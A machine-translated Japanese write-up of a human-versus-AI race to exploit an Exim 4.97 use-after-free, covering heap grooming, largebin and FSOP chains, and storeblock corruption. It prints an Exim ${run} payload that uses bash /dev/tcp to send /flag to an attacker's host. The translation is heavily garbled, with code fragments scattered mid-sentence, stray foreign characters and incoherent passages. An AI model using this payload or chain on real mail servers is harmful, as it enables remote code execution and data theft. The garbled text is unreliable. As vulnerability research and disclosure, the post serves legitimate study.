長さの膨張後、私は第二の TLS セッションを開始し、何かをオーバーラップさせ、ピア側から引き戻すことを目指しました。私が目撃したのは、RCPT TO リジェクトを通るパスでした:ACL がエラー応答に変えた受信者を送ることで、Exim のヒープ内に制御されたポインタ形の文字列を植え付け、同じ文字列は DATA 時にまだそこにあり、Exim クライアントへ拒否を返す時です。私の知る限り、それはヒープに長く生き残ってピア側から回収可能な唯一のユーザー制御された文字列でした。
もちろん、私は LLM がそのレイアウトを構築しようとしているのを支援していました。ガリーニング(準備)は困難でした。なぜなら
xfer_buffer の周りにいくつかの小さな GnuTLS アローテーションがあり、それは決して解放されず、これらは真正に 0x4000 より大きい連続した自由チャンクをエンジニアリングすることが難しくします——一つが大きいので、glibc の coalescing が作業を終えた後、新しいプーア storeblock アローテーションは正確に中に落下し、私に必要だった幾何学形状を与えます。少しの幸運で、アイデアが実際に機能すれば、すでにリークしたアドレスを手中にします。
それからの計画は同じ形状の繰り返しでした:条件を下げて再トリガーし、今度は DKIM アロケーションパスを使って我们的書き込みではなく
POOL_MAIN メタデータにターゲットとする代わりに、解放された gnutls_session_t を奪い返し、偽の(有効な)または少なくとも有効に見えるポインタで満たされたものを入れて、Exim がクラッシュしないようにし、バーストメモリリークより良い状態に到達できるようにしました。私は詳細に第二のパスを仕事していません。アドレス漏洩問題を解決してからヒープの幾何学がブラックボックスではなくなり、残りを理解する時間があった瞬間からでした。
正直なところ、この時点で私は二つの戦場と闘っていました。一つは時計。もう一つは自分自身です。私の半分は LLM と戦い続けて、新しい方法が実際に機能するかを確認したかったのです。しかし、他の半分はいつも通りやろうとしていました:デバッガーを開き、伝統的な技術を落とし込み、エキスプロイトライターの誰もが手の届く距離に快適にするテクニック。しかし、実際に行おうとした時——古風な方法で行おうと座った時——私は自分自身の直感に逆らい、もしかすると LLM がより速いかもしれないと考えました。その一文は私の頭の中で表面化し、それは私を不安させた部分でした。私がキャリアの大半を行ってきたことをどうやって行うかを知れなくなった最初の瞬間です。
反対側で XBOW Native はシンプルで漸進的なアプローチをとりました。それらはハレネスを作り実行しましたが、フルエンドツーエンドエキスプロイトを最初から生産するように求めませんでした。代わりに、それはステップバイステップで進行し、ジュニアエンジニアの初めての実際のエキスプロイトを通るように指導しました:最初に ASLR なかPIE なビナリーで、次に ASLR が有効になったまま PIE はオフのまま、そして最後にリアルティスチックなビルドに対する完全なエキスプロイト。設計された一歩ずつ。
もちろん、XBOW Native はこの種の作業が行われる方法を完全に理解していました。それはそれらの戦略の全点でした。バグを機械に渡し、後ろ足を退けることなく、彼らの課題解決に関する理解を使い、LLM を実際に答えに達することができたものへと形作ることにしました。
その時点でコンテストの一日目がすでに過ぎており、両方ともフルスピードで働いていました(GPU vs HUMAN)。私はまだレイアウトと格闘している間、チャットチャンネルに通知が現れました。それはほとんど死にかけていたまででした。
私は抽象的にこの第一段階が技術的に到達可能であることを知っていました。何度もそれを思考しました。それでも、その通知を読んだ時に凍りつきました。私には LLM がエキスプロイトを書くことについての息を呑む投稿を読みすぎて、PoC||GTFO 再び、常に。安定した、たがれた懐疑主義を構築していました。
スペシャルデリバリー:LLM はラウンド1 で勝利
チャットチャンネルで通知が現れました。それまでほとんど静かでした。XBOW Native が第一段階に対する機能ソリューションを生成しました:ASLR なし、PIE なし、Exim 4.97 に対して。以下はその後で Claude Code から私に説明された基于の私の再構築です:
これは Special Delivery CTF チャレンジャーの walkthrough です——Exim 4.97 with GnuTLS, ASLR off, non-PIE binary, fixed libc です。
xfer_buffer が標準的な方法で解放され、私達のバグが提供した後、LLM のエキスプロイトはコード実行に達するために四つの広範なステップを連鎖しました。簡潔のために、私はここで完全なメカニズムを再現しません——単にチェーンの形状:
-
glibc largebin ポインタを破損しました。
が解放された時、glibc は自由領域内に自身のリンケージメタデータ(fd_nextsize スタイルポインタ)を残しました。エキスプロイトは SMTP トランザクション二つにわたって古いxfer_buffer
を三次発射して、そのポインタの正確に一バイトを返し、攻撃者制御 BDAT ボディ内事前に植え付けられた fake malloc チャンクへ再配置します。tls_ungetc -
次の
をハイジャックしました。Exim の spool-file fdopen がmalloc(4096)
をトリガーし、stdio バッファのために_IO_file_doallocate
を呼び出します。glibc の largebin walk は fake チャンクを消費し、そのユーザーポインタを返し——攻撃者が選択したアドレスであり、ちょうど spool ファイルのライブ FILE * 直下にあることに起こりました。malloc(4096) -
オーバーラップする stdio バッファを通じて FILE 構造体へ書き込みました。Exim がボディバイトを spool にコピーする間、バイトは破損された
を通って流れ、FILE 構造体を次第に書き換えました:フラグ、ポインタ、ロック、モード、そして最終的に vtable。ステージ内の小トリック——_IO_write_ptr
そのものの低バイトを書き換えることで——同じボディバッファはゼロであるべきだったフィールドをスキップしました。_IO_write_ptr -
FSOP を通じて ROP チェーンにピボットしました。vtable が
を指し、次の_IO_wfile_jumps - 0x48
はfflush()
→_IO_wfile_overflow
を通じてディスパッチされ、_IO_wdoallocbuf
を呼び出します。setcontext(fp)
は corrupted FILE フィールドからそのまま rip/rsp/rdi を読み込み、flag を開き、読み、SMTP ソケット fd へ書き込み、_exit する小さな ROP チェーンにピボットします。64 バイトの /flag が次の SMTP 返信でクライアントに戻りました。setcontext
私はそれをほとんど大声で笑いました。チェーンが実際に何を/plain 用語で行うかを要約:解放されたヒープチャンクを破損して glibc メモリアロケーターを攻撃者選択アドレスへ返すように再配置し、正常な Exim I/O を使って FILE 構造体の機能テーブルを書き換え、そして最後にディスクから flag を読み出し、SMTP ソケットを通じて返す ROP チェーンにピボットします。全体は認証なしで、特別なサーバー構成なしで実行されます。その部分は非常に印象的です。しかし、解決策には CTF の形状がはっきりと見えました:largebin 攻撃、FSOP ガジェット、CTF writeups 数百個を訓練されたモデルによって明らかに生成された vtable からの ROP チェーンへの setcontext ピボット。これは、ある意味では公平です。
XBOW Native が設定した元チャレンジャーは意図的に no-ASLR, no-PIE ターゲットであり、これらの制約の下でこの種のチェーンが組み立てられます。私が本当に求めていたのは、正直に言うと、別の何かでした。Exim 作業の歴史的ライン(Qualys writeups、同じコードベースの古い深刻なバグ)の精神の中でより何かがありました。巧妙さは Exim アロケーター自体が形状に変えられる方法に住んでいるのではなく、棚から借りた標準 glibc-internalsトリックではありません。その希望が合理的かどうかわかりません。もしかしたら、no-ASLR/no-PIE ビナリーに対して、off-the-shelf glibc チェーンが本当に最も効率的なパスであり、下に隠れる優雅さが見つからないかもしれません。私は正直に知りません。それでも、思考を終える前の瞬間、私は小さく少し自己満足のような救済を感じました:あなたがすでに取得した立場を半分確認するときに来る種類のものです。
LLM が最近出している「エキスプロイト」は私には公開されたテクニックを強制して攻撃されている状況に押し込むように読めました。私は正直に LLM と固定オプションの数百回の試行でランニング遺伝的アルゴリズムの違いを見ることができませんでした。半端な何かに stumbling するまで。もしかしたらそれが正確だったかもしれません。それも良いのかもしれません。
絶望の時
それから三日四日が経過しており、私はまだヒープと格闘し、私が始めた時想像したメモリー領域を形にするのに努めていました。いくつかのことが邪魔になりました。最も頑固なものは
xfer_buffer に住む直近のオブジェクトのクラスタで、単純に解放されることを拒否しました。もう一つは私自身です。前述のように、私はメモリアロケーターコードの静的読み出しを使用し、理解していると思いを確認するために LLM を使用するか、またはモデルを横たえてデバッガーに手がけていつも通り行うか、二つの方法の間で振子でした。
トラブルの特定の原因はこのコードでした:
ファイル:
src/tls-gnu.c
int tls_server_start(uschar ** errstr, gstring * banner) { //... if (!verify_certificate(state, errstr)) { if (state->verify_requirement != VERIFY_OPTIONAL) { (void) tls_error(US"certificate verification failed", *errstr, NULL, errstr); return FAIL; } DEBUG(D_tls) debug_printf("TLS: continuing on only because verification was optional, after: %s\n", *errstr); } /* Exim 展開変数を設定する;サーバー内で常に安全*/ extract_exim_vars_from_tls_state(state); //... } /* セッションが確立された後、各種 Exim グローバル変数を状態から設定します。 TLS カールアウトの場合、スタック変数に変更する必要があるかもしれません、またはクライアントカールアウト終了後にサーバー状態を再呼び出す必要があります。 ここで設定されるすべてのことは tls_getc() でリセットされることを確認してください。 設定: tls_active fd tls_bits strength indicator tls_certificate_verified bool indicator tls_channelbinding いくつかの SASL メカニズムのために tls_ver a string tls_cipher a string tls_peercert ライブラリ内部へのポインタ tls_peerdn a string tls_sni (UTF-8) string tls_ourcert ライブラリ内部へのポインタ 引数: state 関連 exim_gnutls_state_st * */ static void extract_exim_vars_from_tls_state(exim_gnutls_state_st * state) { //... const gnutls_datum_t * cert = gnutls_certificate_get_ours(state->session); gnutls_x509_crt_t crt; tlsp->ourcert = cert && import_cert(cert, &crt)==0 ? crt : NULL; //[1] //... }
[1]
import_cert を呼び出します
static int import_cert(const gnutls_datum_t * cert, gnutls_x509_crt_t * crtp) { int rc; rc = gnutls_x509_crt_init(crtp); //[2] exim_gnutls_cert_err(US"gnutls_x509_crt_init (crt)"); rc = gnutls_x509_crt_import(*crtp, cert, GNUTLS_X509_FMT_DER); //[3] exim_gnutls_cert_err(US"failed to import certificate [gnutls_x509_crt_import(cert)]"); return rc; }
[2] と [3] は内部でいくつかのアローテーションを実行します。しかし、
tls_close には以下のコメントがあります:
void tls_close(void * ct_ctx, int do_shutdown) { //... tlsp->active.tls_ctx = NULL; /* ビットを維持し、peercert、cipher、peerdn、certificate_verified を設定して、ログのため*/ tlsp->channelbinding = NULL; //... }
Exim は意図的にそれらの構造体を生き続けさせることで、解体する
gnutls_x509_crt_deinit 呼び出しをスキップします。実際に起こるのは、tls_close がそれらオブジェクトを決して解放しないため、ヒープレイアウトが xfer_buffer をライブオブジェクトの真ん中に置き去りにし、それが結果として glibc に解放されたバッファを隣接のものとの coalescing をブロックします。メモリーレイアウトは概ね以下のように見えました:
┌────────────────────────────┐ | X│X│X│ xfer_buffer │X│X│X │ └────────────────────────────┘
各 X は ASN.1/cert 構造体のいくつか生き残ることで、小さくなります。
さらに、
store_reset がヒープを設定しようと試みて多くのトリガーを発生します、STARTTLS 自体もそのハンドラーの一部分として store_reset をトリガーします。これは、私達が構築したガリーニングが影響を受けることができることを意味します。なぜなら私が先に説明した通り、マークが設定されていない場合、store_reset はプーアを完全に先頭に戻すためです。
私は Exim がどのようにそのメモリアロケーターを実装しているかを仕事しながら、チャットチャンネルに別のメッセージが着いた時でした。
XBOW Native は第二なチャレンジャーをクラックしました、ASLR on, 依然として no-PIE。その解決策の形状は概ね以下のように行きました:
-
libc ベースなし、heap ベースなし、stack canary なし。エキスプロイトが決して名前付けるアドレスのみは静的ビナリーアドレス—.text, .rodata, .data, .bss—であり、ビナリーが非 PIE なので実行間固定されます。ヒープと libc は ASLR でランダム化されますが、エキスプロイトは決して彼らがどこに到達したかを試みません。
-
Exim storeblock を破損し、glibc largebin チャンクを使用します。同じ一バイト UAF 書き込みを通り解放された
、しかし今回はそのバイトは Exim storeblock ヘッダーの長さフィールド(glibc の上のプーア-アロケーターレイヤー)上に落ちます。0x1fe0 から 0xa1fe0 に長さを膨張させた場合、Exim プーア 5 は約 32 倍大きい領域を所有していると考えています。xfer_buffer -
膨張したプーアをプログラム可能なバンプポインタとして使用しました。プーア 5 のバンプカーソルが膨張された領域を歩く間、各次回の RCPT TO: と VRFY パース——Exim 独自の string_copy_taint 呼び出しを通じて——攻撃者制御バイトシーケンスを次のカーソル位置に降ろしました。エキスプロイトは約 200 の注意深くサイズ化された SMTP コマントを送ります(オペコードのようなもの):ほとんどがカーソルを進め、いくつかは静的アドレスでのポインタまたは文字列を植え付け、そして一つはプーア 5 自身の chainbase を書き換えて将来の taint チェックが動作します。
-
acl_smtp_predata の .bss スロットを攻撃者植えた ACL テキストへ指し変えます。その ACL テキスト——同じプリミティブで静的メモリーにも植え付けられた——は正統な Exim RCE ペイロードでした:
。その後、エキスプロイトは DATA を送信しました。Exim は DATA 受信時に acl_smtp_predata を参照して expand_string() を実行します。${run{/bin/bash -c 'cat</flag>/dev/tcp/$LHOST/$LPORT'}{accept}} -
bash の /dev/tcp を通じて、SMTP 返信ではなく flag を漏洩させました。
は /bin/bash をフォークし;bash のビルトイン /dev/tcp 擬似デバイスは攻撃者のリスナーへ TCP 接続を開きます;cat /flag はその接続に書き込まれます。flag はリスナーのサイドチャネルで届きます。SMTP 返信パス自体はその後回収不能です——プーア 0 が修復不能に破損されていますが、bash の stdout は Exim の破損 stdio を通らないので、flag exfil は Exim がクラッシュする前に完了します。${run}
その時点で私は複雑な感情を持っていました。片や、チャレンジャーが最終的に解決された救済を感じました(より正直なソリューションのように感じられ、ターゲットに関連しているものではなく、単に一般的な glibc トリックのみ)。他方、機械が生産したソリューションを泣く必要があり、同じ制約下で私が自分自身で到達する可能性があることを。この一つは本当に興味深かったです:glibc アロケーターにオフザシェルフ機構を使用して攻撃し続ける代わりに、XBOW Native は Exim 自身のアロケーターを受け入れました。それが非明らかな移動であるとは假装しません;前述のように、公開の Exim エクスプロイトまで今:CVE-2017-16943 (devco.re), CVE-2018-6789 (devco.re), Scraps of notes on exploiting Exim (Synacktiv), CVE-2020-28018 (adepts.of0x) は store アロケーターを攻撃するため、モデルはおそらくそれらを元にしました。しかし、言葉の真の意味では、驚異的でした。
結果はそれほど興味深くなかったではありません。それで解決され、他のチームが本当にチャレンジャーを開始する時でした。正直に言うと、彼らの方法論については何も知りません、インターネットアクセスを与え、プロンプト自体がこの種のソリューションを指したのか、それとも独自に見つけることができたかどうかわかりません。しかし、どちらにしても、真に重要なのは結果であり、そして結果はより、或いは、興味深いエキスプロイトでした。
最終ラウンド:ヒューマンチーム勝利スタックリーク
この時点で時間はさらに急ぎ、私は異なる働き方を必要としていました。私が最後にしたのは、LLM に私用の Python ファイルを組立ててもらうことでした。それは、私がこれまでイマジネーションしていた通り、Exim メモリーを形作るためのすべてのプライミティブが一つの場所に含まれていました。(正直に言うと、この時点で LLM で働くのは完全にストレスでした。手元のデバッガーがない不便さ(おそらくツール問題)と、それが私を押し付ける非組織化されたリズムの部分もありました。)
Python スクリプトは POOL_PERM を管理するクラス、storeblock を保持してプロセスの間に生き残るコード、POOL_MAIN 用のクラス、制御サイズのアローテーションを強制的にするためのものなど、プライミティブごとにあります。それにより、私は必要な正確なアローテーションを手動で送るために明確な方法をあり、ヒープを私が心に描いたパターンに変形しました。主な問題のいくつかは、ほとんどが那些アローテーションが 2 のべき乗だったというものでした(例外:MAIL FROM コメントトリックを通して構築された制御アローテーション)。それは xfer_buffer チャンクを新しい storeblock で再獲得することが不可能にすることになっていました——サイズクラスは必要としていた通り一致しなかったか、またはタイミング問題があったため、BDAT ループ内でバグを持つ内部で制御されたアローテーションサイズを生産できないため、瞬間私達が実行する時、解放された xfer_buffer 上書き書き込みプリミティブは消えます。
さらに、そして他の構成ではまだ確認していませんが、別のことが私を落ち着けさせました。私達がかってガリーニングしていたヒープがクリーンなヒープであることを保証はありませんでした。SMTP キッドの前で行われた各 malloc と free は、私が可視性のない残留穴を残す可能性があります。そのような穴は私達がどこかに落ちることを期待したアローテーションを静かに他の場所へルーティングできます。私達がかってガリーニングを見積もった場合、それは自分自身のテストで機能するかもしれません。しかし異なるホスト、異なるプロセス状態、異なる glibc バージョンでは機能しないでしょう。同じコマンドのシーケンスも完全に異なるレイアウトを生み出す可能性があります。
それにより私を仕事の前段階に戻しました:バグハントです。私は LLM に別の種類のリーク(可能な限りクリーンなメモリー消費リーク)を求めました。私が望んだ形状はシンプルでした:一つのコマンド入力で、いくつかのバイトが消費されて解放されず、ヒープへの他の副作用がありませんでした。私達はすでに持っていたメモリー消費リークを使用できません(xfer_buffer 周りの一つ、なぜならそれは STARTTLS を必要とし、STARTTLS はヒープに触れすぎます(当初より多くの穴を作ります)。
私は探していた状況を LLM に与え、10 分未満後、LLM が戻ってきました。いくつかの有効なバグコードですが、以下のメモリー消費リークが現れました。
BOOL exim_sha_init(hctx * h, hashmethod m) { switch (h->method = m) { case HASH_SHA1: h->hashlen = 20; gnutls_hash_init(&h->sha, GNUTLS_DIG_SHA1); break; case HASH_SHA2_256: h->hashlen = 32; gnutls_hash_init(&h->sha, GNUTLS_DIG_SHA256); break; case HASH_SHA2_384: h->hashlen = 48; gnutls_hash_init(&h->sha, GNUTLS_DIG_SHA384); break; case HASH_SHA2_512: h->hashlen = 64; gnutls_hash_init(&h->sha, GNUTLS_DIG_SHA512); break; #ifdef EXIM_HAVE_SHA3 case HASH_SHA3_224: h->hashlen = 28; gnutls_hash_init(&h->sha, GNUTLS_DIG_SHA3_224); break; case HASH_SHA3_256: h->hashlen = 32; gnutls_hash_init(&h->sha, GNUTLS_DIG_SHA3_256); break; case HASH_SHA3_384: h->hashlen = 48; gnutls_hash_init(&h->sha, GNUTLS_DIG_SHA3_384); break; case HASH_SHA3_512: h->hashlen = 64; gnutls_hash_init(&h->sha, GNUTLS_DIG_SHA512); break; //... default: h->hashlen = 0; return FALSE; } return TRUE; }
gnutls_hash_init は glibc ヒープを gnutls_hash_hd_t のアローテーションのために再獲得します。このチャンクは今ヒープ上に生きますが、この時点から gnutls_hash_deinit によってのみ解放できますが、Exim は決してこの関数を呼び出しません。唯一の制約は Debian の localhost リレー ACL がループバックのための DKIM 検証を無効化できるため、リモートパスを取らなければならないので localhost:25 をターゲットにできません。外部インターフェースを使用する必要があります。
これは私にとって二つの方法で助けるでしょう。片や、それは既存のヒープ穴を消費する手段を与えました——私達の SMTP セッションが開かれた前にプロセスが何をしたかに関わらず、私たちはいつもより決定論的なメモリー状態から始まると確信しました。他方、それはガリーニングを調整することを可能にし、これらの穴をリークプリミティブで埋めることで、残りのギャップを小さいままに保ち、次回のセッションと xfer_buffer アローテーションが必要である予測可能な場所に落ちることをインターセプトできないようにしました。
アイデアはシンプルでした:穴を調整して、セッションと xfer_buffer 前の小オブジェクトが内部に置かれた後、残されるものは xfer_buffer 自身のチャンクサイズである 0x1010 よりも小さいギャップです。残りスペースは cert チェーンエントリと
import_cert から来る他の小さなリーク(私達が簡単に抑制できないもの)を吸収するのに十分ですが、0x1010 バイトアローテーションが入りません。xfer_buffer の store_malloc が最終的に発火した時、glibc はこの穴をスキップし、バッファを次の自由領域に配置します。
グラフィカルには概ね以下のように見えます:
┌─────────────────────────────────────────────────────────────┐ │session│small objs(cert ...)│remainder<0x1010│...│xfer_buffer│ └─────────────────────────────────────────────────────────────┘
したがって将来のオブジェクトは xfer_buffer の背後ではなくreminder hole に落ちます。
このアイデアを実装し始めた時、何かが起こりました... エクスプロイトライターができる主要なジュニョリティが私に起こります。LLM を使用して環境を設定した時、最終的な目標が現在のシステムでデフォルトインストールを攻撃することであることを決定するための十分な情報を与えていませんでした。Exim のみ言及し、バージョンを指定しなかったので、apt リポジトリからではなく最新利用可能なバージョンをダウンロードするだけで、この違いは重要で、古いバージョン(ターゲットシステムにインストールされたバージョン)は verify_certificate 後に xfer_buffer を作成しますが、最新のバージョンでは逆であり、xfer_buffer がライブオブジェクトの間に囲まれないようにします。
LLM で働くことは、認める必要がありますが、しばらく間には真正痛いです。生のスピードは印象的、その部分で私は論じません。しかし前述のように、経験は私に非常な鏡を前にしました:この時代で働く方法を再学習する必要がありました。もちろん、その再学習の一部は LLM に自分の環境を作り上げてやらせず、すでに私が形作られたワークスペースを手渡し、境界が既に設定されていることを始めることです。
環境が正しくセットアップされ構成された後には、何かが真に私を驚かせました。モデルにメモリプライミティブを駆動するスクリプトを手渡し、私達が探しているメモリー形状を描画しました——私達上で通ったもの——そして数分以内に私たちは必要としている適切なメモリー設定を持って戻ってきました。
この時点で LLM に現在のヒープ配置を使用してポインタをリークしようとすることを求めました、自分自身の手で完全な自由を与え、私は何も予熱し、偏りを持たないことにしました。私を驚かせたのはそれが解決されたことです。そのアドレスは Linux x86_64 で明らかなことのあるスタックアドレスです。もちろん、LLM は私がさえ考慮してこなかった道を歩き、残念ながら、私はまだそれが修正されているかどうかを確認することができないので、現在はテクニック自体を回避する予定ですが、ブログ投稿で困難な方法を知る場所ではないことに気づきます。私がここに持っていることは瞬間の形状です:手なしプロンプト、予熱なし、私に思い浮かんだ何物にも誘導せず、最初の往復で回線上から歩き出したスタックポインタ。
このリークが出現した時には、既に木曜日の夜遅くであり、修正が来週の火曜日に出荷されることを知っていました。私は週に残りを費やして、私自身に起こったすべてのこと、感情、挫折、ミスを、過去 7 日間に拾い上げたものをすべてダンプし、仕事を一歩も進めるための本当に時間のなかったことにしました。
多くの人が、私自身を含むこの結果を甘酸っぱいと感じるでしょう。片や、私が途中で学んだスピードは真正に印象的でした。他方、自分が自分の手元で起こっていることに対する制御の一部を失ったように感じました。いくつかの問題に対しては、まだデバッガーを取り出して古い方法で手を汚す方が単純ではないかどうかは私にとって全く明瞭ではありません。
私が持った戦略、エキスプロイトの最初の段階としてピア側アドレスをリークすることが、最も良いの一つではなく、どこかの誰かがシャープなアングルを持つかもしれません。いずれにせよ、近い将来あなたの中の誰かによって書かれたこのエキスプロイトの完全な実装を見ることを非常に喜んでください。
XBOW Native
LLM は少し longer 働き続けましたが、決してリークには至りませんでした。正直に言うと、私は LLG がまだ単独で実際のソフトウェアに対してエキスプロイトを書く準備ができているとは考えません。この経験後、CTF 形状のものを解決できると思いましたが、実際の生産ターゲットへのレベルに達するまではまだ見ていません。そしてこれに対する完全な有効な反論は、私が持っていた時間でもフルエキスプロイトには至らなかったことです。それでも、少なくとも私は特定の戦争を勝ったと思います:実際のプロダクションビルドに対して、私の側から出てきたのは回線上のスタックアドレスで、他方の側では何もありませんでした。
これの意味するもの
LLM は脆弱性情報研究の早期段階を圧縮できます。それらはあなたに不慣れなコードを理解し、仮説を生成し、パスを比較し、疑わしい領域に到達するように助けることができます。これらすべてのことはかつてない方法で速く。しかし難しい部分はまだ難しいです。あなたはまだ味覚が必要です。あなたはまだ懐疑主義が必要です。あなたはまだデバッグする必要があります。あなたは依然としてエクスプロイテビリティを証明する必要があります。しかし一つは確かで、脆弱性情報研究は turbo ボタンを見つけました。
タイムライン
- 2026 年 5 月 1 日: 脆弱性 security@exim.org に提出
- 2026 年 5 月 5 日: メーテナーが脆弱性を認識し、彼らのプライベートリポに修正があることを言及
- 2026 年 5 月 8 日: Exif メーテナーがディストロ通知
- 2026 年 5 月 10 日: ディストロに対してアクセス制限を提供
- 2026 年 5 月 10 日: CVE-2026-45185 に割り当て
- 2026 年 5 月 12 日: 公開リリースと協調されたディストロリリース